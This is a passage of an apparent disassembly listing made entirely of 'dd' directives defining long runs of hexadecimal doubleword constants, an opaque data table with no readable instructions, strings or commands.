0C6C89D40h dd 96BC9C1h, 920E4940h, 8D44D90h, 99601226h, 889BF972h dd 0CBA5321h, 0DD3861E6h, 62F2B840h, 60E21023h, 0B28869h dd 5C089A05h, 0C80883Bh, 0EB7BF337h, 0A3017894h, 70542B38h dd 244E1081h, 0C30D81AAh, 0B95B6DC0h, 0C48B3F26h, 66195780h dd 25393F2h, 892DC91Eh, 60574AF3h, 2C42491Ch, 6BB8F517h dd 0C6F49800h, 0B5006335h, 2FEFBE3h, 4343C01h, 0CA597EBDh dd 0BD2B0FD6h, 3638E618h, 0E879014Ah, 4BBB9964h, 0DEB880AEh dd 7D3910CAh, 31C23CDDh, 1705F073h, 80B2D0A3h, 0EA96CE8h dd 3D52BC06h, 0E438FF06h, 2F100EAAh, 3C84A2DEh, 0D2CA8C7h dd 0A9EE7514h, 38541C8h, 0FDBCB71Fh, 1805C3E6h, 0C13CBFB5h dd 8A6CD891h, 180FAAC8h, 3804C06Fh, 91070AAFh, 9FEEFF38h dd 0FD94E7F0h, 0B1290125h, 955DB7BBh, 590840A5h, 0D5ADB05h dd 0DAB7ECD1h, 0EF7C6980h, 9E10A36Bh, 0DB125803h, 52F853Ch dd 4D5903C0h, 0E840A1E0h, 0DD0D8E66h, 20ED4E3Ch, 20771081h dd 2B303741h, 609A28D0h, 0F8780112h, 584E0740h, 25188C23h dd 62E686Ch, 3CF072E8h, 3700E1B1h, 113D6470h, 30D44D86h dd 0B310CDFDh, 0DF8384Eh, 0E6702660h, 1BC2271h, 2AAFAC51h dd 8FCD20FEh, 0CC4E02C8h, 3A5D68C3h, 2E00E32Fh, 1B56770Ch dd 856063FEh, 0AB61DD29h, 5D871D37h, 0BA2A0076h, 64DE837Eh dd 0A3E42E07h, 0F2C71BB5h, 12A84880h, 0D09B0A7Ch, 80D854CCh dd 0EAD62E36h, 0B0CEB5AFh, 0E4B72034h, 96AC2Ah, 0B86BD2E3h dd 0A00C3BFDh, 900EB8CAh, 0DEFE63C0h, 9514786Dh, 60493850h dd 40D0A90h, 14001423h, 0D46F55F5h, 0DF4D4060h, 3C111217h dd 0D039C490h, 686D0F44h, 2884E8B6h, 0F308003h, 0B2E85E17h dd 40F0C4A0h, 2A6140A4h, 7AEA597Eh, 12B8D850h, 40A63AE9h dd 38B04E3Eh, 4A294D0h, 0EA4ADE05h, 0DC815237h, 0FAF0C2E6h dd 51DD041Eh, 0AAAA6FDFh, 0E86DC003h, 0D539C140h, 0CE0010BFh dd 0F2BCB0D1h, 256561E5h, 42803520h, 5B7D64h, 7E5D9F95h dd 4E091C9Bh, 90133930h, 9B381D4h, 0A7A1BBB9h, 81B2C024h dd 8043FCA0h, 0DD894510h, 1221531h, 0ED887C6Ah, 41FB3CDCh dd 0F9D613FCh, 0DEDFD325h, 6F67B581h, 24687C56h, 9108F8CAh dd 284F000Eh, 6C8DDCF7h, 1AD90614h, 444510B0h, 1DDF6200h dd 0F4B74366h, 60002C90h, 0F01A11C7h, 0BCCE65h, 1F1B15B2h dd 275E2E37h, 5D126F00h, 0A0DCD0E6h, 0DFA0179h, 0C1B50EE3h dd 31B424F7h, 5272E625h, 27DB02ECh, 0F30D6F0Ch, 7409C8Fh dd 56AA5BF2h, 0E8D56600h, 0C0CC2D63h, 6F770B72h, 0DCE802A1h dd 521D364Bh, 0C5C0E4D7h, 0FFD0F513h, 0E2FA8028h, 0EF6FA400h dd 0B8A2BAF7h, 4EDB0117h, 66652C2Ah, 4C8406Bh, 0E528B26Eh dd 6F244874h, 0C00138D2h, 2485FDF7h, 90315420h, 54FE2A20h dd 0C449779Ch, 56E4820h, 7009F045h, 4E3C0112h, 34684A42h dd 1FBE5BC4h, 1A6D8Bh, 0DD6F41FDh, 8378DE7Ch, 8855FF3Fh dd 986057h, 0D864F531h, 7A5036DDh, 0D46204BFh, 831CAF3Ch dd 0A0E7BA78h, 0F2B31F32h, 1189201Dh, 0C6706B00h, 60033C7Bh dd 0AB982805h, 0FD006F10h, 6512087Dh, 3DD2DBF0h, 0F8000CDCh dd 3CAC0D1Bh, 0B092A590h, 843F0102h, 60372716h, 0E056B6B0h dd 9C98C1D5h, 452A3882h, 94981254h, 8A040E0h, 86E52ECFh dd 5CA5EF18h, 74180E9h, 0B2BF4801h, 0A7942099h, 8A00B316h dd 8057377Eh, 63C508h, 2E7B125Fh, 4DF9E728h, 68CBCF31h dd 0E5F535BBh, 78764C62h, 2CF10972h, 0D478EEFEh, 304E080Ch dd 528A947h, 0E73B6E12h, 24F4278Dh, 0FE3CC8DBh, 18B91D30h dd 4231BCh, 6A3B0192h, 3CF44E18h, 70C0157Eh, 48952017h dd 2C6B0C7h, 0B71080CEh, 8460BE54h, 0BB80A9ADh, 26FC9634h dd 0B30897Ch, 60889007h, 0FF14D876h, 8563828h, 0A8E4302Ch dd 0E0C63C09h, 306F1B20h, 5A82FA4h, 77260FACh, 0B408E44Dh dd 583109A8h, 74764802h, 83594041h, 710480D0h, 0D185C3BAh dd 11808243h, 182B310Dh, 1012FAB8h, 50042984h, 0BA12481Ch dd 0D2DC3000h, 1E5811B4h, 206EFE16h, 0E4E44F51h, 0F8028C20h dd 366FC732h, 3E006067h, 14F40FEFh, 4064125Bh, 0E8E08089h dd 8F3C3422h, 0A889CE65h, 0F27E081h, 2322F0EEh, 0C87B2904h dd 0C8F3680h, 1C664F67h, 0B06856D0h, 2416FF40h, 0F5587CFEh dd 0E7C110C8h, 5978B454h, 0BBC2C018h, 104A07F9h, 10276840h dd 102F3728h, 6F166106h, 1F107A53h, 41ECCCD5h, 5CFDA634h dd 0EEA84322h, 0A94C1BF3h, 0B4790020h, 0AFBDC623h, 0CC432C3Ch dd 0BC28A9C8h, 182590h, 0D612489Ch, 4194CBBh, 29FE7DCAh dd 474C90EAh, 0AC5CBE64h, 1B861F58h, 6FB5F601h, 80348DC4h dd 3BC81CCEh, 86023B43h, 8EED14E6h, 2B0CC871h, 464D8E0h dd 0D56ED7DEh, 6A901960h, 8CA06D08h, 5700BF3Eh, 0CCD60260h dd 2E34C71Bh, 966445F8h, 1898439Fh, 0A6D01C79h, 104D4E0Fh dd 0B184005Ch, 4147C012h, 7830F749h, 214942Bh, 80540B7Bh dd 0CEC9AA60h, 4D9DA400h, 7A5967DEh, 0C540C0ECh, 82CB1AFCh dd 0BC3F1600h, 0EDEE32BAh, 370D07D5h, 0E0122F56h, 59927C9Dh dd 0B366D16h, 0D98564D0h, 6F130B4Fh, 0B020C5F2h, 0F687FDAEh dd 3D0680C0h, 79454Bh, 81F39DCAh, 0FB625B9Eh, 2CE0403h dd 13BB526Fh, 4DFE339h, 0C8A09414h, 0FD264F50h, 70000C9Dh dd 236F60D8h, 0D9C0A98Ah dd 8473A84Ch, 6586B48h, 15D8CC5Ah, 7B3C1220h, 0E74400BCh dd 50288185h, 784E0B08h, 589C0F0Ch, 2D136C1h, 2A7AF001h dd 79CD0CA8h, 60112567h, 29723D80h, 0E4757DA5h, 0F9690403h dd 0C0DC77B5h, 6CC84BCh, 0CF20B490h, 0D8E52CC6h, 0CE17089Ch dd 488AE302h, 4DF0C09Bh, 20F49AB2h, 0ED2406B1h, 1A3D0877h dd 0E330935Ah, 977CC15Ch, 53907C40h, 0C347F28h, 0DA76596Ch dd 0E60032A0h, 6718D261h, 92844DC6h, 0B0314974h, 8326416h dd 0BB84BA0Ch, 0C09419F2h, 0A88A3887h, 3280874Bh, 954A4FD1h dd 372C1863h, 0C09A6424h, 6A14E948h, 0F2D8D01Ah, 4A8E2B1h dd 504BAF9Ch, 0DCCEA600h, 2627E683h, 40C430h, 527E1D57h dd 0D09814E1h, 602B6235h, 0F00828CCh, 7940B02Fh, 53F625F3h dd 0B8AB5024h, 0BC273C14h, 1C511826h, 48E6EE10h, 47D6B025h dd 5B58FD6Ch, 6F14A898h, 4C003D4Ah, 0CAC2A99h, 613F00F2h dd 0A1F4F337h, 0D0B8FFC4h, 0AB0D5603h, 2CB7BAFDh, 0C38A740h dd 0E5C8A984h, 9394D11Eh, 0AF0D00FFh, 9658360Fh, 0BEC536FDh dd 0EEFC8130h, 58570226h, 0BC114F67h, 2028C9A0h, 129B81C4h dd 78A04084h, 0D0D85266h, 4D9B0602h, 0E4A32867h, 4140CE52h dd 5309CAF4h, 80444B36h, 0FB945D7Ch, 0E6FDFC39h, 157930D0h dd 0E73D5580h, 8FD7773Ch, 0B25EF4Eh, 1C600168h, 0DAD188F4h dd 3A461424h, 17A41261h, 0C6F20844h, 3800E313h, 849CD51Eh dd 1F3F26D0h, 5DC880D4h, 0FD7C22AAh, 1DEED01h, 0BCB1D0ABh dd 83CC388Eh, 24F83096h, 150017F2h, 7E8D0AE2h, 0FF39547h dd 5A6B1862h, 6C0007A9h, 0CE2D778h, 5407754Ah, 48BC936Fh dd 10A76B9h, 139C3138h, 0C1147AFFh, 0E5FC704Ah, 4D426094h dd 0D41C486Eh, 0DFB305FDh, 0D0F6EE3Ch, 11FCF12Ch, 5038652Ch dd 1223DA60h, 0A45616D4h, 809474E1h, 493B3C54h, 4D9F480h dd 2FFDACFCh, 0F94093A9h, 3804F14Ah, 98C781B5h, 64179302h dd 654CD4h, 3838C28Eh, 710F1B75h, 0AA4D5CCAh, 0B8939445h dd 6880801Ah, 584CAAF4h, 7B00BDE8h, 0B4373953h, 0D95C08B5h dd 0A0962664h, 40BF023Ch, 609EE9B2h, 2C9CE05Ch, 60B03887h dd 4DB3A796h, 2006D526h, 9253FE86h, 0AB453B88h, 71241278h dd 8B602414h, 26F0DD0h, 0C03FE890h, 286CB8F4h, 9ECA08C4h dd 9CE2FC80h, 51D0A281h, 0B7AC00ECh, 772639A4h, 0FE174B06h dd 5450E9E1h, 289854h, 3D1864EEh, 4A699B0Eh, 0E74ED890h dd 4615C806h, 6F0A0C80h, 0CA58856Dh, 1E0D253Ch, 9C264FF6h dd 0E8084049h, 9AF01378h, 6FF89050h, 0FC9066D1h, 62B2241Eh dd 3846B30Ch, 0B5CE0064h, 0FDC3FE36h, 98CFFA19h, 0A6D7C41Eh dd 67258C0h, 0CD3B0108h, 895961B4h, 94D880C4h, 687A2FF9h dd 51770405h, 0F084F40Eh, 0A800829Ch, 0C56EDDA0h, 50D9FE5Bh dd 279AC73h, 5807C5Ch, 0F4EB944Eh, 6FD8FEE3h, 0A12666D5h dd 7A085CF8h, 0E10400BCh, 717B1229h, 0BDBE5716h, 0A3380807h dd 840056BFh, 972D9B5Fh, 67352E4Dh, 0CFE86A4h, 0C8F64016h dd 29E0F758h, 3C09C858h, 0D8D4C331h, 9CF94DA8h, 16803DACh dd 9983CA27h, 6550A4D0h, 3C75DE98h, 5330226Eh, 0EFD0585Ch dd 0C0847D09h, 7B11B098h, 9C96EE7Ch, 9A39842h, 0A4CB1C05h dd 777BE6B8h, 0D5CBDA0h, 98E5D42Ch, 0F84D1130h, 1FF89AB5h dd 71EAD6DEh, 20A496B9h, 0F6A8A60h, 0D502EC11h, 9CF43Ch dd 444E0632h, 17FCD349h, 0DC02CEFEh, 802C0B53h, 912AD898h dd 3EF0FB2Fh, 18B41710h, 284004Ch, 0FBF09A1Bh, 0D7E5AB03h dd 0B03D8426h, 1827D565h, 18EBB05Ch, 2C0E1F6Ah, 52BB4DAFh dd 4842B0DDh, 6B9C8273h, 4D4CE048h, 294C692Fh, 54043058h dd 3127AF68h, 0F3C00CA2h, 0DA8C17Bh, 0B20E5778h, 0D8A73CDCh dd 12AF0360h, 0A5F8952Fh, 68A04690h, 5DBB6F12h, 0A0A29C94h dd 0B2A0410h, 72D0E208h, 16DE7640h, 30BAA756h, 213747D8h dd 94B39507h, 52F360F6h, 0D02ED31Dh, 0F820EE17h, 0E07300FEh dd 0CD0649C2h, 0AC946672h, 6E78474Eh, 8C84BBD7h, 4F16E090h dd 0D73D104Eh, 12E001DEh, 359FBB11h, 0E90F8066h, 4C3E763h dd 0B6CA4E1Fh, 0C5F198A0h, 40008FF7h, 49B9660Bh, 176264F5h dd 307E8FEh, 185678A0h, 92D06DC1h, 780549E8h, 0B8B1C3FDh dd 59864DC0h, 51266CC2h, 67C94008h, 6232E223h, 80062829h dd 0AD129A90h, 7D220038h, 662D6445h, 2005B03h, 29E85937h dd 2A3C8A06h, 0B868C54Bh, 5942061Ch, 507FFCFEh, 2F66B713h dd 31E94460h, 0B424485Ch, 0C0BC7D39h, 69218052h, 801D4917h dd 0CC220CA4h, 0E5AE6E09h, 9884E478h, 9AD9E60Ch, 0B04D3F7Ch dd 0F293E060h, 43500C2Fh, 321D5CA1h, 13852417h, 0C4C0EDF5h dd 494E0703h, 0A005C11h, 10E0B48Eh, 0B518F186h, 6D91DFCDh dd 0CDE0D34Ah, 60502008h, 0B60F9E6h, 0ECD26E10h, 5004011Bh dd 0D55C6CE6h, 436C3092h, 64612241h, 12F7E474h, 40D4754Dh dd 0E1CE85CCh, 0C20F7CD0h, 0AC95BFA3h, 80EC78AAh, 59126C66h dd 4536A19h, 92F25C00h, 984D3703h, 0DB690E57h, 25CA8E14h dd 0F73C0608h, 7101B9DDh, 56655E83h, 4E4D6E5h, 78543923h dd 8BBB7D80h, 0FDAD4175h, 0B89FA527h, 0E64DECh, 0A0E91A68h dd 0B4BE56D1h, 0EECE18C0h, 7CFC57h, 94EDD2A6h, 3306B3F7h dd 1E24D0ECh, 651FFC69h, 0AA62C0A4h, 82EC0894h, 0A1C66F14h dd 3CE7C440h, 38C7055Ah, 46E4827Bh, 0A144049h, 0FC9887h dd 72751430h, 0ABAFF891h, 0CDFBD404h, 6890D04Dh, 9062853Ch dd 30A0E1Ch, 7CAAB96Eh, 8E540D8h, 57206F0Ch, 4C233C7Fh dd 2ACB4201h, 7010C3F4h, 0F8405400h, 9C4D003Dh, 0B0FA5A6Ah dd 874EA1FDh, 54F08C40h, 5E3D626Bh, 341C00CEh, 6DF4D98h dd 3DA59480h, 7409F917h, 0C60BF6Fh, 0FD2DAFFBh, 17680114h dd 0B02C9F2Dh, 0CB6F2C10h, 7AAB096Eh, 4E0809A0h, 0C864EBE6h dd 0B7B33E01h, 9D14D368h, 1E5C19C0h, 0B85B76h, 0C4ADB4EDh dd 4E3A0A09h, 2B386003h, 0CC30213h, 7AE0FE64h, 48000158h dd 0EB34606Fh, 0CAFF94h, 7D5940C2h, 26D03D5Bh, 8A0830B9h dd 3B6D0184h, 2DEE8CFFh, 0FA94C584h, 0FD0CA8A6h, 1F100CFBh dd 7C44DB5Ah, 0E4A6B09Eh, 3EB0DC24h, 0A0F84034h, 3D61E5FCh dd 9C14C258h, 66DBC8C3h, 87E42E1Dh, 0A2C30BE8h, 54195CE4h dd 0A910C613h, 81610020h, 0F4D420E1h, 255A8C1Fh, 2CA75C00h dd 781E1464h, 0E86149C4h, 18A00327h, 6511FE71h, 0F0775B17h dd 2A0E9005h, 89F144E5h, 287CF828h, 4AE8FB77h, 370430DDh dd 7C019156h, 0A7147A9Eh, 8402E38h, 0DDAA28h, 0B71B350Eh dd 34EF3D56h, 1027CC91h, 86095BCCh, 18E77881h, 0DC465C6Fh dd 6104A4Bh, 88C2614h, 0AB00A55Fh, 29DE03D3h, 0DC5A4C7Dh dd 0B711D030h, 0FE142C2Ah, 8FE49C1Ch, 0B550605Ch, 30389B7Ch dd 63115BF2h, 0A200BC2Dh, 62AB5124h, 4EEECC4h, 5F4BD9F9h dd 0CA0080CCh, 1D0029BFh, 40E6FC06h, 0BEF21Eh, 153BB60Dh dd 7007D0A3h, 5DDEB0DFh, 1E04A265h, 547D0194h, 0E7E09E9Bh dd 7CC9F853h, 0AB5C30h, 0BF30D49Eh, 0FE60FB4Dh, 144832FEh dd 3C060234h, 0D3E510D9h, 8900AC28h, 40E099DAh, 7839E735h dd 0A8D0AEF5h, 603F6A0Bh, 8ADE5E80h, 849C4480h, 1D5491EFh dd 0C1017C24h, 0FC0F204Eh, 0E3EDA5B0h, 606F5448h, 0D2DB311Eh dd 8000F08Ah, 0D98DE587h, 6D390h, 0EA594366h, 6DE62832h dd 0AA217B00h, 0FDB1FBFCh dd 40B04F13h, 88061B04h, 0CD243C89h, 7D8110F2h, 274DA868h dd 80673BC8h, 37002825h, 0DD7077FFh, 7A8A1D3Dh, 0CEF8964Ah dd 0EF69E140h, 0E6021CA4h, 6B0D0973h, 7AE0E1B2h, 650BADCh dd 3D716FBEh, 0A4C117Ch, 422C784Ch, 0F75078E2h, 325B0ADCh dd 0E8785Ch, 0D0829CDAh, 20C98351h, 8CAC08DDh, 1F6F1082h dd 0AA5002Ah, 4A000497h, 558F4F85h, 0FC5CFE7Dh, 5CDDF643h dd 4F7014F2h, 0EB04891h, 0E36C6180h, 30FE1710h, 0CB2015A3h dd 8B00EB58h, 9BD8C1B0h, 9141D43h, 0E16E1FA6h, 0AF12D065h dd 0C6F6B805h, 3C1774E2h, 31A4E162h, 0D700028h, 60990511h dd 1E164208h, 0E4F84036h, 8E7C2277h, 8AD026h, 260904B9h dd 0E4D04CA6h, 89DB0A4Eh, 22F08282h, 0E0C9A262h, 0EF7B29DCh dd 0BA7177EDh, 9008C28h, 0BE85AADEh, 0EA026CA5h, 45D08B0Ah dd 2C3079EBh, 355109D8h, 4B6C5808h, 5408E4C0h, 0C8DC7103h dd 1343D16Fh, 23D0DAC8h, 0C5C866B0h, 1CA2A394h, 4E85A445h dd 30653C9Ah, 3149CC00h, 7644EAFAh, 45C84E16h, 0C8609E40h dd 0FC5BB764h, 0A84E5004h, 100804E1h, 0FDF5246Fh, 0DFA680C4h dd 0FE2A10C2h, 6B4EF59h, 0B3B54E1Eh, 8A9B0938h, 1CE0ADD0h dd 82001798h, 0DE625CB7h, 60CE56D4h, 6DCB2868h, 0B900C506h dd 0FBA5EB41h, 0A04C777Ah, 3EF187ACh, 0E180B8C2h, 5DC5B748h dd 0BF0261F7h, 1033313Dh, 29806030h, 3C2E8997h, 0B3A68408h dd 6F17B8A8h, 77BC8184h, 2EA43980h, 0E7532813h, 20F492DFh dd 40898A6h, 0AEEF9D84h, 4F64B233h, 7D14E403h, 44C3A520h dd 0DB0CACDDh, 0A341A990h, 0A028D431h, 2241DC5h, 566B7C50h dd 2495A45Ah, 0C09361E4h, 8C381ED2h, 0B800FC7Bh, 4F1630FFh dd 0A5509545h, 4D3F3128h, 394C818h, 0C0125984h, 7851491Fh dd 0CE8B6400h, 0C5504DDFh, 0C10CB649h, 1425CC5Ch, 60D6742Ch dd 0ED2EE04h, 42B74404h, 0C2BF093Dh, 0FC83B800h, 70005184h dd 0CA5A40E7h, 0CD9B9D4Eh, 3340FC90h, 0B1F28000h, 0AF0523h dd 371B32E2h, 7C047A52h, 0E6611200h, 21807864h, 0A0D0BCCh dd 3861F3FFh, 5F84333Fh, 343A8B0h, 0E5A54B35h, 0DFC0415Fh dd 58018BCEh, 5A668202h, 1FC81B10h, 99E0B8DEh, 1418A7ECh dd 0D0C316D0h, 0C3F069E8h, 2528DE27h, 0A869C3F4h, 689859DEh dd 37260228h, 0C01D4FF5h, 0BCE13C00h, 0B3E61200h, 113A26E8h dd 0C203D029h, 41CA3Ch, 8269D429h, 0D265AC7Ah, 4CFD2C0Fh dd 216C8033h, 0C0F3294Ah, 0F79A4918h, 7107E5CAh, 58C3ED36h dd 69E70661h, 48770841h, 15106822h, 0CD6C13Eh, 212F284Dh dd 706CAD60h, 37020BA8h, 0B9BBB84Bh, 2E9852C6h, 0E1E8289Eh dd 68F86F16h, 0EC4D0D88h, 0FEDC18FAh, 0ECF1546Bh, 302D7839h dd 0F279A08Bh, 0ED6BDA3Ch, 1F101141h, 8F1A6F10h, 34382895h dd 23CC962Dh, 1AD17F2h, 7AFFCD1Ch, 2320202Bh, 36064F90h dd 0B72E6418h, 206F1841h, 0D60C68C2h, 3F080200h, 4D81BD48h dd 40F36B63h, 0EDDD8801h, 31A7DC35h, 93A02C50h, 0EB9D8E02h dd 0C09E48A4h, 5D867Dh, 0A194DC73h, 79FEDE56h, 314CAF1Dh dd 0B1F8224Ch, 0AD200F3h, 0F47CE52Dh, 0D3612B38h, 11C23C11h dd 76B63420h, 98141668h, 89B00459h, 266200C0h, 9AEA174h dd 603D4CB7h, 6A7D2840h, 984F1740h, 0B87C6734h, 8B49871Bh dd 122008CEh, 213C14D8h, 0BE6EF46Bh, 88655DA5h, 0C0B44940h dd 0D885DE16h, 55C13C87h, 0F6C4BB97h, 9C9095C4h, 0CF00E1CDh dd 84BE1527h, 18B14E6h, 7F73241Eh, 0E8628699h, 600FDD65h dd 7C4D52C5h, 0FC9648E0h, 348F4048h, 0DBB78040h, 19D8C3Ch dd 0D5040B2Ch, 0A10268E0h, 902D628Ch, 313E0712h, 9FE869D0h dd 6B53DD18h, 3C0978B7h, 0E02204B3h, 0B85CF06Ah, 10791142h dd 0F04B2E5h, 70DCD08h, 74D47CA8h, 803D7F3Fh, 0E3747D80h dd 3CDC78DDh, 1684B254h, 1B192301h, 6FA2D0FCh, 420F8038h dd 1A603D5Ch, 155963DEh, 0C89644Bh, 0CC952429h, 0E77E287Fh dd 91557AC0h, 67FE84B0h, 802095B8h, 0BBF66F38h, 9312947Ch dd 4C007DC5h, 9EDE265Fh, 951405E7h, 0E19B5CD0h, 959C39C4h dd 0ECB492A8h, 0F54409Ch, 0C9005090h, 7C830A97h, 720D56EEh dd 4A0300DBh, 0F0187D6Bh, 0BB26FE61h, 0C380B8C8h, 4E16534Fh dd 58786010h, 4D55F684h, 78A4F2EDh, 286F60C4h, 0F190C95Ah dd 6180E010h, 10594CA2h, 0AD894E06h, 0FDFF0C18h, 640AFC9h dd 0C66494F8h, 38B83118h, 65C2FEF0h, 0C0C06090h, 738D27A7h dd 32D0E07Dh, 0E8780C77h, 0C84D4C90h, 39008499h, 0BBCBD8F4h dd 0CAC12D15h, 6300440Fh, 3E8D6FC9h, 0B4B57680h, 933C0454h dd 7D34800Bh, 0C891EB4Dh, 4302E94h, 83D5BB7h, 220B94ECh dd 94A1586Fh, 7CBE47CCh, 0E9CD857Ch, 303C8CE0h, 15580A29h dd 149336Fh, 0FAB1E58h, 56A08F15h, 8BE60018h, 0FBFA5C2Dh dd 7FD200DBh, 0FE5A9FF9h, 2492E8EBh, 7DB10100h, 0FC84F812h dd 12A8B45Ch, 2DFC074Fh, 521BD075h, 3D1A697Dh, 54800EF0h dd 189C3F90h, 0A795484Fh, 46E00742h, 9FDE072Ch, 2A07CE7h dd 0FCC1F06Bh, 2CC206Dh, 0C05B3CFCh, 89BD7C00h, 951FD764h dd 58BE54A2h, 194A7801h, 5B0F460h, 797F44AFh, 0F2A0C207h dd 23C0035Fh, 0EA98C0DBh, 77F30094h, 0D140BC8h, 0CA6ADA4Eh dd 0E7432088h, 5989C76Ch, 0A0BD4728h, 1EFF3D18h, 1F00C4BEh dd 1DAC2AE0h, 12AEE681h, 0A45E9F6Fh, 3600E1F0h, 0D3E51231h dd 8B0920h, 0F9D452B5h, 0CAD964CDh, 20241CBBh, 1924E86h dd 0A2141F10h, 5048651Fh, 1E26C63Ch, 3E60A4E5h, 9C4982F8h dd 0F80FCB6Ch, 4F2CC057h, 0A14C9551h, 1852DC1Ch, 10AB740Dh dd 0B811B404h, 70C00A8h, 0DBFE2CE1h, 4CAB97F1h, 3CA32C91h dd 0E0D1A5D4h, 6428763Ch, 68E8EE8Bh, 0A1129CDCh, 408495D0h dd 0B84DF020h, 958C026h, 7FE37A0h, 0FDD0E607h, 6043947Ah dd 3B511780h, 3F88AE7h, 1569B9C9h, 54AEA8DBh, 0BE580133h dd 8E0AC266h, 2878FAD0h, 0FF3C4D12h, 304E4488h, 0A7D1F903h dd 1FFC3E08h, 3E28D63Ch, 40914B9Fh, 80125273h, 1C884442h dd 426F61A4h, 5C5C2F97h, 51E86B80h, 26611B7h, 0B50977D9h dd 0C530D13h, 222F2D09h, 566ED178h, 10AA6094h, 0B10138D0h dd 0DCF44EB8h, 0FC6C5A56h, 77332209h, 7098145Ah, 0C4A11F25h dd 0AB61267Ch, 30FE6118h, 8E033E6h, 7144A4Dh, 1378A41h dd 0F8D3986Eh, 38F035B8h, 6A029F7Eh, 4A859BB4h, 1C00E5F0h dd 506E2781h, 0EC4B3141h, 0F08A6F1Fh, 0D6096E38h, 22000F75h dd 5714D3E6h, 18B9F60Bh, 30C1A03Ch, 7D019AACh, 0FB377FD7h dd 0D1E01627h, 219B0794h, 0F04DAA0Ah, 0D6F4635Fh, 0D0E4F4A0h dd 0BDCFFE1Fh, 0BE015905h, 18174E4h, 0B7B818B5h, 40FF9557h dd 0CBD45B08h, 0FBEDA528h, 0F16EE712h, 67141000h, 0F354889h dd 65A618A4h, 69E571C0h, 97701D95h, 0E8F1D6ECh, 10CB1E79h dd 0B634C0DCh, 6F4038EFh, 10C087A7h, 0D0128D83h, 38096E19h dd 0B12C70DCh, 90C0138Ch, 0D4DE6188h, 74336E5Eh, 3880ED18h dd 17A53C01h, 1CE8BBBCh, 0DAE2010Ch, 3410E6FDh, 249125C0h dd 78D16413h, 0CD3CAE0h, 59FF4D71h, 4074C820h, 9E3D570Bh dd 81D42F51h, 0CC17BC5Ch, 0BD417989h, 9F5D1821h, 4A743748h dd 6C20FC29h, 9BCC8030h, 4CCD4C4Bh, 4414A048h, 6F180BEFh dd 9431643Dh, 9709B09h, 0AC71D249h, 0DE410824h, 1D3F0F32h dd 6580B004h, 0B4132D2Fh dd 4400BAE6h, 0E9F34535h, 49FE275Bh, 4D02840Fh, 2C72F4A8h dd 21E0BD03h, 0C2E2B758h, 550882A2h, 2D5C64DAh, 3440BE3Ch dd 0E6788765h, 9800364Ah, 4B8930AAh, 56AF180Dh, 3D540831h dd 0E44AF3F6h, 98000824h, 7DDE2AC3h, 0D89460DFh, 0C0444CB2h dd 0BB554D17h, 16C83426h, 0F2381E3Ch, 16257820h, 574C695Ch dd 0EAEC0F6Bh, 0A3F9C584h, 0B34A0094h, 0D0E8348Fh, 0F69400EEh dd 52790D86h, 267C5AB7h, 3CE57409h, 84D033h, 0E1F19E66h dd 18C4D648h, 26FC7101h, 0C6B47CBFh, 4EEFD024h, 0EE98CCC3h dd 0B80197Ch, 45BF0F0Ah, 536523F4h, 20288C5Fh, 0E26C9C01h dd 10EF4D3Eh, 68A4403Bh, 3C9B5F37h, 65B9FF8h, 446C4089h dd 28A06428h, 0EB81F27h, 0DF6D5B09h, 55C3032h, 7D4DFDACh dd 0F6171338h, 2E43449h, 5EE15CA0h, 0C431E98Ch, 8F7EC4Dh dd 7D236F17h, 0DD41D058h, 1E110063h, 0CCD7C5DFh, 0FD0BED93h dd 20147085h, 9759016Ch, 1EE0B011h, 5D937E5h, 1DB9AF6Fh dd 886490h, 82E8D0ABh, 280CDFF0h, 4077D3FEh, 2F433CAFh dd 0B7117F30h, 5F3C80F4h, 0B1A8252h, 985ACAEEh, 95F86FA0h dd 8C52600Fh, 80600F38h, 1C9CEEC8h, 77CA267Eh, 4B6260B0h dd 751CCCC8h, 5485E6B3h, 64C676D1h, 5080F39Eh, 8D6AB53Ah dd 3D0FAC4Dh, 8EA2E4B7h, 61AE8037h, 589E0F9Ah, 0D1C0D4B8h dd 0EEB66BB1h, 0B70B3E18h, 248DE8C8h, 2CE89AF0h, 33F60D34h dd 0FC2431A0h, 960424D4h, 0D6FDA76Dh, 2E779CF0h, 0C53C1257h dd 0D882864Dh, 0CF4C70B0h, 0A4E50BBCh, 6F2581FDh, 28846344h dd 0F0D13CC2h, 4F0B0CF8h, 60A93D42h, 488CBEBCh, 0EC05E4DDh dd 0AD7C4AD8h, 0C7C8130Ch, 3D44585Eh, 0F0E35AD6h, 96216F82h dd 6136458h, 0ACACB705h, 0C4775170h, 90D8AC14h, 745620CCh dd 40883C13h, 307810E2h, 38A8089Fh, 0D70C64DDh, 38CC5410h dd 0C9B0B8AEh, 0EC962929h, 20E0D527h, 0EB082CE0h, 0A3943C87h dd 0E653E61Fh, 429600E8h, 0EE140C40h, 84D3828h, 0D0A63202h dd 70293CEBh, 0E2F881B8h, 22A834h, 0B17B78D9h, 0D5B382D4h dd 0EC4EBB00h, 0B0FE361Dh, 4718B1BEh, 0EB02C263h, 32508F1h dd 88A88458h, 580D3D2Eh, 6503F0D3h, 153CA4FEh, 857E1113h dd 0E81B1C22h, 4EB205E0h, 0E648C30Fh, 94C9BBE8h, 810DAD38h dd 2610FAD9h, 0D7F55911h, 60CD884Ch, 44826009h, 8791427h dd 8D682F00h, 0A3FE25B4h, 88D4968Fh, 9400E699h, 0A5B980A6h dd 18492CAFh, 0AA2842A4h, 3960A854h, 20116853h, 880FF7Ch dd 9A257D30h, 0FDAC90B1h, 0A7B940C8h, 60B750CBh, 679DFEC8h dd 74A81850h, 8438BC32h, 0A132BAEEh, 182F8CA0h, 5C05931Eh dd 64E763EEh, 5E8300B8h, 97FF5765h, 38A3563Ch, 0D0AFBE26h dd 0F04D9D82h, 41207476h, 8FED574Eh, 0E27D2A10h, 0F17798A5h dd 8D0A80A4h, 7E952B38h, 9C80A200h, 1E4D56EEh, 0F47C80E4h dd 0DB655503h, 0E833C98Ah, 1DE08DE6h, 0D74B103Bh, 7B8881C4h dd 73F0C0FDh, 18749EF0h, 596F170Fh, 90F2126Eh, 922CA826h dd 0CD80C0CAh, 58A8B99Ah, 7C16AE6Eh, 0C0C8CB07h, 20204A16h dd 0B70EABD0h, 9832062Ch, 204E484Ch, 0BB12C2DBh, 0A8A23B60h dd 0C0E95B78h, 6F5FFE48h, 4E06C09Ch, 24304FF4h, 190970Ah dd 0C96C5385h, 8B15E53Ch, 51147D30h, 71DD8154h, 24DFB16Dh dd 0E4040E0h, 0AAEE0412h, 0C2A22E84h, 20F41C70h, 2CAF0A00h dd 0B1AB62h, 771D841Eh, 6F231B4Ah, 280CF59h, 0C7FF94CAh dd 0A2E8C1CBh, 0B11C082Ah, 